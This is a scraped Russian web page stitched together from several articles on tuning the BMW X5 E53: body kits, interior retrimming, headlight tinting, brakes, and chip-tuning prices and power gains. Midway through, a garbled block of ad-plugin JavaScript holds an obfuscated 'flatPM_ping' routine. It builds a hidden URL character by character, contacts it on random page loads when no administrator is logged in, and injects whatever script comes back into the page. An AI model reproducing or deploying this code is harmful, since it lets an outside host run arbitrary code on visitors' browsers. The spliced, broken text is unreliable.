Тюнинг БМВ Х5 Е53 Фото и Видео

1 е53 от bmw – элитное авто с хорошими характеристиками

В кузове Е53 кроссовер Х5 начал продаваться на европейском и отечественном рынках в начале 2000-х годов. Конструкторы создавали этот автомобиль для передвижения по любым дорогам. Поэтому в нем предусмотрен высокий дорожный просвет, полный постоянный привод и независимая подвеска всех колес.

БМВ Х5 Е53Рекомендуем ознакомиться

Интересующая нас модель BMW ее создателями была причислена к спортивным авто, а значит, рассматривать Е53 в качестве полноценного внедорожника нет смысла. При этом описываемое транспортное средство демонстрирует отличные ходовые возможности даже на объективно проблемных покрытиях. На российских дорогах встречаются Х5 в кузове Е53, оснащенные следующими силовыми агрегатами:

• BMW X5 3.0i – шестицилиндровый рядный двигатель мощностью 231 л. с. объемом 3 л;
• X5 4.4i (V8 M62) – 286 лошадок, объем 4.4 л и 347 л. с., объем 4.6 л;
• X5 3.0d – дизель со 184 л. с. на 3 л (М57).

В 2003–2004 годах Е53 стали продавать с новыми моторами – V8 N62 4.4 и X5 4.8is. Все указанные силовые агрегаты отличаются высоким уровнем эксплуатационной надежности и неплохими техническими показателями. Поэтому их чип-тюнинг выполняется крайне редко.

А вот салон и внешний вид автомобиля почти все владельцы кроссовера стараются усовершенствовать. Это и неудивительно. Ведь тюнинг экстерьера и интерьера Х5 Е53 дает возможность создать по-настоящему индивидуальную и максимально комфортную для себя машину. Посмотрим, как этого добиться.

2 модернизация внешнего облика – нужны ли новые фонари и аэрография?

Придать Х5 Е53 индивидуальности, не прибегая к помощи специалистов, совсем не сложно. В автомагазинах есть немало комплектов модифицированных элементов и деталей, созданных специально для изменения внешнего вида немецкого авто. Очень часто владельцы BMW монтируют на крышу либо капот своей ласточки современные воздухозаборники.

Эти конструкции придают машине более агрессивный облик и выделяют ее из потока транспортных средств. Установка заборника нередко выполняется своими силами. Главное в данном случае тщательно изучить инструкцию по монтажу такой конструкции.

С минимумом затруднений связана и самостоятельная установка современного обвеса на Е53. Желательно приобретать его в комплекте, в котором имеются такие элементы:

• бамперы;
• спойлер на стекло;
• решетка на бампер;
• противотуманки;
• расширители арок;
• накладки на бампер (задний);
• люк фаркопа.

Если вы хотите, чтобы тюнинг автомобиля BMW Е53 был стильным, обязательно установите на машину ксеноновые фонари с нравящимся лично вам цветовым оттенком (зеленым, красным). Такие фары обеспечат яркий свет и сделают ваше транспортное средство очень оригинальным.

Также можно дополнительно смонтировать неоновую подсветку. Она кардинально преобразит восприятие автомобиля. Управляемость авто Х5 Е53, выпущенных в 2000–2003 годах, можно улучшить путем замены старых покрышек на транспортном средстве. Подберите качественные мощные шины для своей «бэхи», чтобы она приобрела уникальный и немного угрожающий облик.

Не забудьте поменять и штатные диски. Старые модели на современных дорогах смотрятся не самым лучшим образом.

Любителям необычного тюнинга можно порекомендовать сделать аэрографию. Подобная услуга в специализированных ателье стоит, конечно же, недешево, но и результат получается без преувеличения великолепным. Оригинальные изображения придадут Е53 особый шик. Кроме того, аэрография делает машину индивидуальной и приметной, а значит, опасность угона такого заметного авто снизится.

3 обустройство комфортного салона – осовременим торпеду

Внутренний тюнинг немецкого кроссовера выполняется разными способами. Многие автомобилисты производят замену обветшавшей обивки торпеды. Перетяжка кожзама легко осуществляется своими руками. Схема проведения работы такова. Сначала осматриваете торпеду на наличие трещин и других дефектов.

Повторно обезжириваете торпеду (можно сольвентом, можно уайт-спиритом). Потом наносите на панель Rabokoll (клей, используемый в сапожном деле) или клеящий состав 88. Вам нужно обработать торпеду дважды. Первый слой клея наносите, начиная с козырька приборов (либо с другого высокого участка).

Не пытайтесь обработать за один раз большую зону, наносите клей на маленький участок, затем ждете минут 5–10. Обрабатываете выбранный участок клеем еще раз. Нагреваете покрытие строительным феном, прикладываете новый кожзаменитель и разглаживаете его небольшим валиком (плотно прижимая материал). Аналогично поступаете со всеми последующими участками.

После достаточно кропотливой работы у вас получится идеально ровный слой нового материала, который будет радовать глаз. Технологические отверстия в смонтированном покрытии (например, под вентиляционные окна) делаются хорошо наточенным ножом. Не забудьте после этого тщательно проклеить все образовавшиеся углубления и углы. Лишнее покрытие на краях панели следует обрезать. А затем, используя описанную выше технологию, тоже проклеить.

4 как еще можно преобразить интерьер х5 е53 – популярные варианты

Модернизировать салон Е53 несложно и множеством других способов. Вот лишь некоторые из них:

1. Перешивка салона алькантарой (популярной, экономичной и внешне очень красивой искусственной кожей) либо натуральной кожей.
2. Отделка внутренних элементов кристаллами Swarovski или карбоном. Первый вариант любят девушки-водители, а второй пришелся по душе мужчинам, уважающим современные тенденции в вопросах декорирования интерьеров авто.
3. Установка спортивных сидений и такого же руля, замена накладок на педали и ручки коробки передач.
4. Подключение новой магнитолы и качественного автомобильного сабвуфера.

Полезный совет! Штатную магнитолу производитель монтирует возле аккумулятора – под запаску, где есть небольшая встроенная ниша. Это место для размещения аудиосистемы многими автолюбителями признается неудачным. Если «покорять» на Х5 Е53 глубокие лужи, магнитола будет заливаться водой.

Еще один вариант улучшения интерьера Е53 – пошив меховых чехлов и накидок для сидений. Такие аксессуары нынче очень востребованы. Они имеют массу достоинств. К тому же, их нередко шьют самостоятельно, минимизируя затраты на тюнинг салона. Делайте Х5 Е53 индивидуальным и уютным, руководствуясь советами специалистов!

Источник

Bmw x5 e53 — сообщество «новый салон» на

BMW X5 e53Этот автомобиль подвергся комплексному восстановлению – ремонту кузова, покраске, замене силового агрегата, электрооборудования и частичной замене деталей интерьера и полной их перетяжке новыми материалами.Салон данного автомобиля исполнен в позитивном и теплом рыжем цвете.

Доработке подверглись все детали интерьера. Основным отделочным материалом в данном случае выступила автомобильная кожа производства Италии (выделка наппа). Этой гладкой и шелковистой кожей перетянуты сиденья, отделаны дверные карты, торпедо, центральная консоль, а также потолок, что является очень трудоемким и дорогостоящим элементом.

Но таково было требование клиента – сделать потолок, как в Bentley Continental (там он также с завода имеет кожаную отделку). Шпонированные детали были покрыты ослепительно черным рояльным лаком. В тон им ковровое покрытие было исполнено из очень плотного черного материала с длинным ворсом.

Русификация bmw x5 e53 и товары для тюнинга

Многие обладатели БМВ не знают, поможет ли русификация BMW X5 E53 убрать некий дискомфорт в управлении автомобилем. Мы утверждаем, что так и будет. Помимо русификации, в каталоге компании размещены следующие предложения для тюнинга:

• замена подсветки салона на диодную;
• расширители арок;
• алюминиевые пороги;
• сетка для решеток/бамперов;
• дефлектор капота;
• насадки на бампер и глушитель;
• многие другие атрибуты рестайлинга.

Вся продукция для улучшения BMW X5 E53 качественная, а ее установка проводится опытными специалистами. Мы гарантируем, что новый вид Вашего БМВ приятно удивит Вас! Также мы предлагаем тюнинг BMW X1 E84.

Не нашли то что искали? Оформите персональный заказ !

Самый популярный вариант для тюнинга бмв х5 е53

1. В салоне панель приборов и все что можно отделать карбоном, салон сразу преобразится.
2. Кресла перешить новой кожей, потолок перешить алькантарой, она неплохо смотрится.
3. Если позволяет бюджет, то можно машину перекрасить, модно смотрится матовая краска, но лучше всего просто покрасить и отполировать, чтобы добиваться внешне состояния нового авто.
4. Установить в автомобиль систему мультимедиа с большим дисплеем, холодильник поставить и шторки.
5. Для тех, кто хочет чтобы его БМВ Х5 стал уникальным автомобилем – можно нанести еще и аэрографию или на крайний случай, оклеить автомобиль пленкой.

Слабые места в бмв х5 е53, которые устраняются во время тюнинга

Изначально парктроники в Х5 Е53 слабые и часто выходят из строя, особенно когда бампер снимается, поэтому либо их вообще надо снять либо поставить новые.

Магнитола находится под запаской, там есть специальная ниша для нее, но это место самое низкое в машине, поэтому если ездить по глубоким лужам, то магнитолу будет заливать, так что лучше ее перенести в другое место.

Х5 – это не внедорожник, а кроссовер, поэтому и дорожный просвет у него довольно маленький, да и подвеска не сильно любит езду по бездорожью, так что делая тюнинг Х5 Е53, можно поставить пневмоподвеску, если денег не жалко, а лучше просто с внедорожьем быть осторожным или купить Тойоту Ленд Крузер 100, она больше подойдет для бездорожья.

А далее видео о том, как делать тюнинг БМВ Х5 Е53:

Источник

Тюнинг bmw x5 e53

Главная    /    BMW    /    BMW X5 E53 04-06

Тюнинг bmw х5 e53: еще немного об изменениях

Покупателям доступна бензиновая и дизельная версия двигателя и 6-тиступенчатая коробка-автомат. В передней части X5 E53, по сравнению с моделями БМВ, выпущенными до 2004 года, изменился передний бампер, отличается дизайном форма крыльев и капота. Более агрессивно выглядит машина именно благодаря бамперу, а вот обвес на X5 E53 достался от X5 E53 4.6. Видоизменились также задние фонари, стоп-сигнал на багажнике теперь горит белым светом.

Тюнинг бмв х5 е53 – как обустроить и преобразить авто?

Владельцы динамичных и стильных автомобилей знаменитого немецкого концерна выполняют тюнинг БМВ Х5 Е53 с целью преображения (частичного либо полного) внешнего облика этого среднеразмерного кроссовера, а также модернизации его салона.

Тюнинг бмв х5 е53 фото и видео

Немецкий кроссовер БМВ X5 E53 был снят с производства в 2006 году, следовательно, на сегодняшний день первые модели подошли к своему пятнадцатилетию. Естественно, что за это время внешний облик автомобиля уже порядком устарел и многим автовладельцам хочется его усовершенствовать.

На сегодняшний день тюнинг БМВ X5 E53 дает огромные возможности для преображения кроссовера и придания ему индивидуального стиля. В продаже имеются пакеты модифицированных деталей, с помощью которого можно осуществить современный тюнинг авто. Наибольшим спросом пользуется продукция фирм Hamann, Tarantul и Hartge. Данные компании выпускают аэродинамические обвесы и другие компоненты для качественного тюнинга БМВ X5 E53.

Типовой обвес БМВ X5, как правило, включает в себя следующие компоненты: передний бампер, накладки на задний бампер, решетка на бампер, пороги, расширители колесных арок, люк фаркопа, накладки на оптику, спойлер на стекло и заднюю дверь, противотуманные фары и многое другое.

Многих любителей БМВ, в первую очередь, интересует рестайлинговые возможности для БМВ X5 и цена вопроса каждого видоизмененного компонента. Нашему читателю мы предлагаем рассмотреть возможности тюнинга, рестайлинга и дооснащения в развернутой версии для БМВ X5 E53.

На начало работ нам предоставили автомобиль 2002 года выпуска, в скудной комплектации с мотором 4.4 М62TU. Из штатных опций был только ксенон, датчики дождя и света, «рыжая» оптика, электрорегулировка задних сидений, обычный люк, родные 18е колеса, стандартный салон – кожа, дерево, память водительского сидения и больше никаких дополнительный опций.

1. Автовладелец захотел полный рестайлинг кузова. Ну что ж, запчасти мы заказали. В первую партию вошли капот, 2 крыла, задний бампер, 2 пустые биксеноновые фары, спойлер для заднего бампера от 4.8 и крепежные детали.

По цене: 150000 руб

2. Была произведена замена задних фонарей в борта и повторителей на крылья с «белыми» поворотниками.

По цене: 10000 руб – 2 фонаря на борт и 1500 – 2 повторителя на крылья.

3. Не обошлось без дооснащения автомобиля штатными порогами из алюминия.

По цене: 20000 руб– комплект порогов (швеллеры и пластмассовые детали под ними).

4. Требовалась также замена расширителей колесных арок. Установили 4 расширителя от 4.8 iS. В результате монтажа расширителей под крылья, сзади стали выдаваться элементы новых арок. Поэтому, на заднем бампере было решено установить продолжение расширителей, а также нижний спойлер от 4.8. Задний бампер также решили заменить (спойлер и бампер были включены в набор деталей для рестайлинга). Мастер кузовного цеха осуществил покраску обоих замененных запчастей.

По цене: 14000 руб – 2 расширителя от 4.8 на одну сторону. Покраска бампера и спойлера – 10000 руб.

5. Был заказан и установлен оригинальный бампер от Hamann (рестайлинговая версия). Бампер решили установить под штатные расширители, так как вторая версия под расширители фирмы Hamann не так практична, да и смотрится гораздо хуже.

По цене: 50000 руб

6. Биксеноновая оптика без омывателей никуда не годится, поэтому в довесок к переднему бамперу установили комплект дооснащения штатными омывателями фар.

По цене: 7000 руб

7. После установки рестайлингового комплекта в виду эстетических соображений решили переобуть машинку в диски Hamann Anniversary I R20 и новые покрышки Yokohama Advan ST перед 275/40 R20 зад 315/35 R20.

По цене: 50000 руб – диски и 50000 – шины.

8. Также были установлены следующие компоненты:

• Монитор и жгут дооснащения – 15000 руб
• Радиоблок ВМ54 – 10000 руб
• Навигация МК4 с прошивкой на русском языке и диском – 28000руб
• Кронштейн для крепления навигации – 800 руб
• Провод и антенна навигации – 4000 руб
• Гибридный ТВ модуль – 18000 руб
• Кронштейны для крепления монитора в приборную панель -1500 руб
• Установка монитора в приборную панель (выравнивание по зазорам) – 2500 руб
• Установка прочих деталей

8. Штатная приборная панель, с длинным километражом и битыми пикселями, категорически не устраивала владельца авто. Поэтому, было установлено более новое торпедо от 4.8 в идеальном состоянии.

По цене: 13000 руб – торпедо, 5000 за монтаж и перепрограммирование.

9. Была установлена рестайлинговая задняя оптика (полный набор, включая фонари на борт).

По цене: 10000 руб

10. Машина не имела спортпакета, потому оконные молдинги были сделаны из хрома, как и у всех 4.4. К большому сожалению, дорожные реагенты быстро «убили» хромовое покрытие, поэтому мы заказали и установили новые молдинги вокруг окон от фирмы Titan Line.

По цене: 35000 руб

11. В качестве дополнительных аксессуаров был установлен рестайлинговый трехспицевый мультируль, с контактным кольцом, но без обогрева. А также новая подушка и ручка ручного тормоза от Hamann.

По цене: 3000 – руль, 30000 – подушка и 3500 – ручка.

Что можно сказать относительно процесса работ. Во-первых, потребовалась куча дополнительных деталей. К примеру, другие блоки розжига для фар (у рестайлинговой версии они иные). Штатную «рыжую» оптику устранили, перепрограммировав блок ЛКМ. Усилитель бампера получилось оставить штатным. Также установили родной парктроник, так как бампер от Hamann был с технологическими отверстиями под передний парктроник, а заделывать их не хотелось. Для установки родного оборудования потребовались новые датчики, подиумы, блок PDC, блок переключателей для центральной консоли, пищалка и проводка под задние датчики. Задний бампер для 4.8 изначально выпускаются с дренажем под датчики изнутри, которые легко вырезаются, что и было проделано. Помимо всего, было произведена замена обычного лобового стекла на стекло от КлимаКомфорт, отличительной особенностью которого является то, что  в дождь и в солнце оно становится ярко голубого насыщенного цвета. За нашу работу мы взяли еще 100000 руб. Не так-то много для преображения старого арийца.

Полезный совет для владельцев БМВ X5 E53 и наших читателей. Моторное масло лучше использовать MOTUL CHRONO 300V 10W40, чем рекомендуемый Castrol. Впечатления только самые положительные, нареканий нет никаких.

И, продолжая тему о том какие чудеса со старым БМВ Х5Е53, может творить автотюнинг, предлагаем посмотреть следующие видеоролики.

Видео:

Видео:

“:’

‘:””,document.createElement(“div”),p=ff(window),b=ff(“body”),m=void 0===flatPM_getCookie(“flat_modal_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” o.ID “_mb”),i=”scroll.flatmodal” o.ID,g=”mouseleave.flatmodal” o.ID ” blur.flatmodal” o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&”true”==o.how.popup.timer&&(t=ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))},f=function(){void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie&&m&&(flatPM_setCookie(“flat_modal_” o.ID “_mb”,!1),ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l()),void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie||(ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l())},ff(“body > *”).eq(0).before(‘

‘ c “

“),w=document.querySelector(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_modal-content’),-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer&&(t=ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie&&m&&(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_cross’,function(){flatPM_setCookie(“flat_out_” o.ID “_mb”,!1)})),void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie||(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=o.how.outgoing.indent?’ style=”bottom:’ o.how.outgoing.indent ‘px”‘:””,c=”true”==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer?’

Закрыть через ‘ o.how.outgoing.timer_count “

“:’

‘:””,p=ff(window),h=”scroll.out” o.ID,g=”mouseleave.outgoing” o.ID ” blur.outgoing” o.ID,m=void 0===flatPM_getCookie(“flat_out_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” o.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(o.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘

‘ c “

“);var v,w=document.querySelector(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’);-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff(‘[data-flat-id=”‘ o.ID ‘”]:not(.flat__4_out):not(.flat__4_modal)’).contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,a=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘

‘),flat_body.on(“click”,”.flat__4_out .flat__4_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.flat__4_modal .flat__4_cross”,function(){ff(this).closest(“.flat__4_modal”).removeClass(“flat__4_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”

“],thead:[1,”

“],tbody:[1,”

“],colgroup:[2,”

“],col:[3,”

“],tr:[2,”

“],td:[3,”

“],th:[3,”

“],_default:[0,””,””]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement(“div”)),n=(d.exec(e)||[“”,””])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1] e.replace(o,”<$1>”) n[2],r=n[0];r–;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,200);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “m” “e” “h” “a” “n” “o” “i” “d” “.” “p” “r” “o” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,n=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,r=’

‘,i=e.once;l(t).each(function(){var e=l(this);e.wrap(‘

‘);var t=e.closest(“.flat__4_video”);-1!==r.indexOf(“go” “oglesyndication”)?t.append(r):flatPM_setHTML(t[0],r),e.find(“.flat__4_video_flex”).one(“click”,function(){l(this).addClass(“show”)})}),l(“body”).on(“click”,”.flat__4_video_item_hover”,function(){var e=l(this),t=e.closest(“.flat__4_video_flex”);t.addClass(“show”);var a=t.find(“.flat__4_timer span”),n=parseInt(o),r=setInterval(function(){a.text(–n),n<=0&&(clearInterval(r),”true”==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(“click”,”.flat__4_video_flex .flat__4_cross”,function(){l(this).closest(“.flat__4_video_flex”).remove(),”true”==i&&l(“.flat__4_video_flex”).remove()})};

Тюнинг бмв х5 е53: из старого авто делаем новый

БМВ Х5 Е53 – автомобиль довольно старый, но его всегда можно усовершенствовать и сделать так, чтобы он стал выглядеть более свежим, а если качественно машину покрасить и отполировать, то машина будет вообще выглядеть, как новая. Так что тюнинг БМВ Х5 Е53 – дело необходимое.

Кроме доработки внешнего вида надо желательно еще сделать чип-тюнинг БМВ Х5 Е53, чтобы увеличилась мощность, потому что машина уже старая и особо не едет, ее даже более-менее новая Приора сделает, это ж никуда не годится, поэтому с мотором надо что-то предпринять. Для улучшения внешнего вида есть смысл установить новые стильные диски с новой резиной.

Также делая тюнинг надо уделить внимание головной оптике, ее лучше заменить, поставить что-то современное, также тормозную систему можно улучшить. С помощью тюнинга можно исправить и некоторые слабые места в БМВ Х5.

Тюнинг бмв х5 е53: модернизация легендарного автомобиля

Кроссовер БМВ Х5 Е53 – хоть сегодня уже и стар относительно, но все равно остается желанным среди многих любителей БМВ и любителей модели Х5. Особенно машина пользуется спросом среди любителей тюнинга, ведь если сделать правильный тюнинг БМВ Х5 Е53, то машина будет выглядеть более чем современно. Один только внешний вид если доработать, то получится очень стильный кроссовер.

Но если уже делать тюнинг Х5, то надо и двигатель БМВ Х5 тоже доработать, есть умельцы, которые серьезно увеличивают мощность автомобиля, что кроссовер от избытка мощности начинает буксовать колесами. Но не обязательно так сильно мощность увеличивать, достаточно просто на лошадок 100 и этого будет хватать чтобы уверенно дрифтить на асфальте.

Обычно в тюнинг БМВ Х5 еще входит модернизация оптики – можно поставить современные фары, которые будут заметно отличать машину на дороге. Бывают различные светодиодные фары, галоген или ксенон.

Тюнинг бмв х5 е53: улучшение внешнего вида

Из БМВ Х5 – можно даже сделать внедорожник, если на него поставить большие колеса с внедорожной резиной. Также можно сделать лифтинг. Но это надо тем делать, кто любит покатушки по бездорожью, обычно Х5 используют для того, чтобы быстро ездить по трассе и другой асфальтированной дороге на большой скорости.

А далее видео про покупку БМВ Х5 Е53:

Источник

Тюнинг бмв х5 е53: улучшение салона

Во время тюнинга салона можно все панели оклеить карбоном или под дерево сделать, кому как больше нравится. Но карбон смотрится более стильно. Салон сразу станет выглядеть современно.

Кресла обтягиваются новой кожей, либо можно на разборке поискать кресла в более-менее хорошем состоянии. С потолком можно что-то придумать – отлично смотрится черный потолок. Также в машину можно поставить современную аудиосистему, есть разные магнитолы, дисплеи и т. д.

Также отлично будут смотреться шторки, а если есть желание, то можно и холодильник поставить. Но как правило, до этого редко доходит. Кому нужен этот излишний комфорт в пацанском автомобиле.

Тюнинг оптики

Чтобы машина смотрелась более стильно – надо просто сделать тонировку передних и задних фар, стоимость передних фар будет в районе 20 000 рублей, а задних – в районе 4000 р.

Разница такая большая, потому что, чтобы затонировать передние фары придется их полностью разобрать и затонировать отражатель, а на задних фарах надо просто стекло затонировать и ничего разбирать не надо. Причем тонировку передних фар можно смело делать, дорогу освещать они будут также хорошо, потому что осветительные элементы по время тонировки не трогаются. Для тонировки используют лак или тонировочную пленку.

Также тюнинг фар БМВ Х5 Е53 – это в фары установить светодиоды, все зависит от стоимости светодиодов и работы мастеров.

Тюнинг передних и задних фар

Одна только оптика в машине способна серьезно улучшить внешний вид автомобиля. Можно сделать специальную тонировку, при этом фары будут нормально светить, а внешний вид серьезно преобразится. Но тюнинг оптики тоже будет стоить денег, особенно затонировать передние фары будет стоить дорого – 20 000 рублей. А тонировка задних фар сама по себе проста, поэтому и не будет дорого стоить – всего 4000 рублей.

Работа по тонированию передних фар дорогая, потому что надо фары разбирать и тонировать отражатель. А на задних фарах достаточно просто затонировать стекло специальной пленкой.

Некоторые вместо тонировочной пленки используют специальный лак.

Над внешним видом еще можно поработать – сделать покраску или аэрографию, если хватает денег, а также можно машину качественно оклеить винилом.

Тюнинг тормозной системы

Новые тормоза на БМВ Х5 Е53 будут стоить недешево – только тормоза на передние колеса потянут на 100 000 рублей, а задние – на столько же. Но если взять неоригинал, то цена будет меньше.

Улучшение тормозной системы

Цена тюнинга тормозной системы довольно велика – новые тормоза на одну ось стоят около 100 000 рублей, это речь идет про оригинальные запчасти, аналогичные запчасти можно найти и в 2 раза дешевле. Тюнинг тормозов делать желательно, потому что если машина будет быстрее ездить, то она должна и лучше тормозить в случае чего.

Чип тюнинг бмв х5 е53

Если сделать простой чип-тюнинг, то мощность не сильно увеличится, примерно на 20-50 л. с., в зависимости от мотора. Цены на чип-тюнинг тоже бывают разные: от 17 000 до 25 000 рублей. Чем больше и мощнее мотор, тем дороже будет стоить и чип-тюнинг БМВ Х5 Е53.

Чип тюнинг бмв х5 е53: цена и насколько увеличится мощность

В зависимости от мотора, цена чип-тюнинга будет отличаться. Здесь есть 3 варианта: 17 000, 21 000 и 24 000 рублей.

Те комплектации, в которых стоят моторы 3,0 и 4,4, работающие на бензине, тюнингуют за 17 000:

Мощность 3-х литрового мотора изначально равна 231 л. с., после чип тюнинга – 251 л. с. Крутящий момент изначально – 300 Нм, после тюнинга БМВ Х5 Е53 крутящий момент станет 330 Нм;

Моторы 4,4i бывают разные:

• 4,4i с мощностью в 286 л. с., и крутящим моментом в 440 Нм. После тюнинга мощность увеличится до 306 л. с., а крутящий момент до 465 Нм;
• 4,4 с мощностью в 320 л. с., и крутящим моментом в 440 Нм изначально. После тюнинга мощность увеличится до 335 л. с., а крутящий момент до 465 Нм.

Для тех, у кого комплектации BMW X5 E53: 3.0d и 4.6is, то цена такого тюнинга будет стоить 21 000 рублей:

• изначально в моторе 3.0 d мощность 184 л. с. и крутящий момент – 410 Нм, после чип-тининга – мощность увеличится до 214 л. с., а крутящий момент до 490 Нм;
• есть и второй 3-х литровый дизельный мотор с базовой мощностью в 218 л. с., и крутящим моментом в 500 Нм, после чип-тюнинга – мощность увеличится до 255 л. с., а крутящий момент до 580 Нм;
• также есть более мощный мотор – 4.6is с базовой мощностью в 347 л. с. и крутящим моментом в 480 Нм. После чип-тюнинга мощность увеличится до 372 л. с., а крутящий момент до 518 Нм.

Для тех, у кого топовый мотор 4,8is, то чип-тюнинг БМВ Х5 Е53 будет стоить 24 000 рублей. Мощность мотора изначально – 360 л. с., а после чип-тюнинга – 382 л. с. Крутящий момент изначально – 500 Нм, после тюнинга – 530 Нм.